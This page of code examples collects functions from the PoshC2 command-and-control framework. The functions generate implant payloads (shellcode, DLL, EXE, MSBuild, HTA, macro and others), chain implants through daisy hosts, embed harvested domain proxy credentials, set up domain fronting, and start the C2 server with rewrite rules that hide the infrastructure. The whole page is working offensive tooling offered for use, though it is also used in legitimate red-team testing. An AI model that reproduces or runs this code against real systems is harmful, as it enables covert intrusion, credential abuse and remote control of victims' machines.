Beispiel #1
0
def do_createdaisypayload(user, command):
    name = input(Colours.GREEN + "Daisy name: e.g. DC1 ")
    domain = input("Domain or URL: https://www.example.com ")
    daisyurl = input("Daisy host: .e.g. http://10.150.10.1 ")
    if (daisyurl == "http://127.0.0.1"):
        daisyurl = "http://localhost"
    if (daisyurl == "https://127.0.0.1"):
        daisyurl = "https://localhost"
    daisyport = input("Daisy port: .e.g. 8888 ")
    daisyhostid = input("Select Daisy Implant Host: e.g. 5 ")
    daisyhost = get_implantbyid(daisyhostid)
    proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "",
                          "", proxynone, C2[19], C2[20], C2[21],
                          "%s?d" % get_newimplanturl(), PayloadsDirectory)
    newPayload.PSDropper = (newPayload.PSDropper).replace(
        "$pid;%s" % (daisyurl + ":" + daisyport),
        "$pid;%s@%s" % (daisyhost[11], daisyhost[3]))
    newPayload.CreateRaw(name)
    newPayload.CreateDlls(name)
    newPayload.CreateShellcode(name)
    newPayload.CreateEXE(name)
    newPayload.CreateMsbuild(name)
    newPayload.CreateCS(name)
    new_urldetails(name, C2[1], C2[3], domain, daisyurl, daisyhostid, "")
    print_good("Created new %s daisy payloads" % name)
    input("Press Enter to continue...")
    clear()
Beispiel #2
0
def do_createnewpayload(user, command, creds=None):
    params = re.compile("createnewpayload ", re.IGNORECASE)
    params = params.sub("", command)
    creds = None
    if "-credid" in params:
        creds, params = get_creds_from_params(params, user)
        if creds is None:
            return
        if not creds['Password']:
            print_bad("This command does not support credentials with hashes")
            input("Press Enter to continue...")
            clear()
            return
    domain = input("Domain or URL: https://www.example.com ")
    domainbase = (domain.lower()).replace('https://', '')
    domainbase = domainbase.replace('http://', '')
    domainfront = input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ")
    proxyurl = input("Proxy URL: .e.g. http://10.150.10.1:8080 ")
    randomid = randomuri(5)
    proxyuser = ""
    proxypass = ""
    credsexpire = ""
    if proxyurl:
        if creds is not None:
            proxyuser = "******" % (creds['Domain'], creds['Username'])
            proxypass = creds['Password']
        else:
            proxyuser = input(Colours.GREEN + "Proxy User: e.g. Domain\\user ")
            proxypass = input("Proxy Password: e.g. Password1 ")
        credsexpire = input(
            Colours.GREEN +
            "Password/Account Expiration Date: .e.g. 15/03/2018 ")
        imurl = "%s?p" % get_newimplanturl()
        domainbase = "Proxy%s%s" % (domainbase, randomid)
    else:
        domainbase = "%s%s" % (randomid, domainbase)
        imurl = get_newimplanturl()
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser,
                          proxypass, proxyurl, "", "", C2[19], C2[20], C2[21],
                          imurl, PayloadsDirectory)
    newPayload.CreateRaw("%s_" % domainbase)
    newPayload.CreateDlls("%s_" % domainbase)
    newPayload.CreateShellcode("%s_" % domainbase)
    newPayload.CreateEXE("%s_" % domainbase)
    newPayload.CreateMsbuild("%s_" % domainbase)
    newPayload.CreatePython("%s_" % domainbase)
    newPayload.CreateCS("%s_" % domainbase)
    new_urldetails(randomid, domain, domainfront, proxyurl, proxyuser,
                   proxypass, credsexpire)
    print_good("Created new payloads")
    input("Press Enter to continue...")
    clear()
Beispiel #3
0
def do_createproxypayload(user, command, creds=None):
    params = re.compile("createproxypayload ", re.IGNORECASE)
    params = params.sub("", command)
    creds = None
    if "-credid" in params:
        creds, params = get_creds_from_params(params, user)
        if creds is None:
            return
        if not creds['Password']:
            print_bad("This command does not support credentials with hashes")
            input("Press Enter to continue...")
            clear()
            return
    if creds is not None:
        proxyuser = "******" % (creds['Domain'], creds['Username'])
        proxypass = creds['Password']
    else:
        proxyuser = input(Colours.GREEN + "Proxy User: e.g. Domain\\user ")
        proxypass = input("Proxy Password: e.g. Password1 ")
    proxyurl = input(Colours.GREEN +
                     "Proxy URL: .e.g. http://10.150.10.1:8080 ")
    credsexpire = input("Password/Account Expiration Date: .e.g. 15/03/2018 ")
    update_item("ProxyURL", "C2Server", proxyurl)
    update_item("ProxyUser", "C2Server", proxyuser)
    update_item("ProxyPass", "C2Server", proxypass)
    C2 = get_c2server_all()
    newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13],
                          C2[11], "", "", C2[19], C2[20], C2[21],
                          "%s?p" % get_newimplanturl(), PayloadsDirectory)
    newPayload.CreateRaw("Proxy")
    newPayload.CreateDlls("Proxy")
    newPayload.CreateShellcode("Proxy")
    newPayload.CreateEXE("Proxy")
    newPayload.CreateMsbuild("Proxy")
    newPayload.CreateCS("Proxy")
    new_urldetails("Proxy", C2[1], C2[3], proxyurl, proxyuser, proxypass,
                   credsexpire)
    print_good("Created new proxy payloads")
    input("Press Enter to continue...")
    clear()
Beispiel #4
0
def main(args):
    httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)

    try:
        if os.name == 'nt':
            os.system('cls')
        else:
            os.system('clear')
    except Exception:
        print("cls")
    print(chr(27) + "[2J")
    print(Colours.GREEN + logopic)
    print(Colours.END + "")

    if os.path.isfile(Database):
        print("Using existing database / project" + Colours.GREEN)
        C2 = get_c2server_all()
        if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)):
            qstart = "%squickstart.txt" % (PoshProjectDirectory)
            if os.path.exists(qstart):
                with open(qstart, 'r') as f:
                    print(f.read())
        else:
            print("Error: different IP so regenerating payloads")
            if os.path.exists("%spayloads_old" % PoshProjectDirectory):
                import shutil
                shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
            os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory)
            os.makedirs(PayloadsDirectory)
            C2 = get_c2server_all()
            newPayload = Payloads(C2[5], C2[2], PayloadCommsHost, DomainFrontHeader, C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory)
            new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "", "")
            update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
            update_item("QuickCommand", "C2Server", QuickCommand)
            update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
            newPayload.CreateRaw()
            newPayload.CreateDlls()
            newPayload.CreateShellcode()
            newPayload.CreateSCT()
            newPayload.CreateHTA()
            newPayload.CreateCS()
            newPayload.CreateMacro()
            newPayload.CreateEXE()
            newPayload.CreateMsbuild()
            newPayload.CreatePython()
            newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')

    else:
        print("Initializing new project folder and database" + Colours.GREEN)
        print("")
        directory = os.path.dirname(PoshProjectDirectory)
        if not os.path.exists(PoshProjectDirectory): os.makedirs(PoshProjectDirectory)
        if not os.path.exists(DownloadsDirectory): os.makedirs(DownloadsDirectory)
        if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory)
        if not os.path.exists(PayloadsDirectory): os.makedirs(PayloadsDirectory)
        initializedb()
        if not validate_sleep_time(DefaultSleep):
            print(Colours.RED)
            print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
            print(Colours.GREEN)
            sys.exit(1)
        setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, HTTPResponse, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications)
        rewriteFile = "%s/rewrite-rules.txt" % directory
        print("Creating Rewrite Rules in: " + rewriteFile)
        print("")
        rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
        rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
        with open(rewriteFile, 'w') as outFile:
            for line in rewriteFileContents:
                outFile.write(line)
                outFile.write('\n')
            outFile.close()

        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                              C2[13], C2[11], "", "", C2[19], C2[20],
                              C2[21], get_newimplanturl(), PayloadsDirectory)

        new_urldetails("default", C2[1], C2[3], "", "", "", "")
        newPayload.CreateRaw()
        newPayload.CreateDlls()
        newPayload.CreateShellcode()
        newPayload.CreateSCT()
        newPayload.CreateHTA()
        newPayload.CreateCS()
        newPayload.CreateMacro()
        newPayload.CreateEXE()
        newPayload.CreateMsbuild()

        create_self_signed_cert(PoshProjectDirectory)
        newPayload.CreatePython()
        newPayload.WriteQuickstart(directory + '/quickstart.txt')

    print("")
    print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") + get_newimplanturl() + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
    global KEY
    KEY = get_baseenckey()
    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
    from datetime import date, datetime
    killdate = datetime.strptime(C2[5], '%d/%m/%Y').date()
    datedifference = number_of_days(date.today(), killdate)
    if datedifference < 8:
        print (Colours.RED+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
    else:
        print (Colours.GREEN+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
    print(Colours.END)

    protocol = urlparse(PayloadCommsHost).scheme

    if protocol == 'https':
        if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
            try:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
            except Exception:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
        else:
            raise ValueError("Cannot find the certificate files")

    c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
    c2_message_thread.start()

    try:
        httpd.serve_forever()
    except (KeyboardInterrupt, EOFError):
        httpd.server_close()
        print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
        sys.exit(0)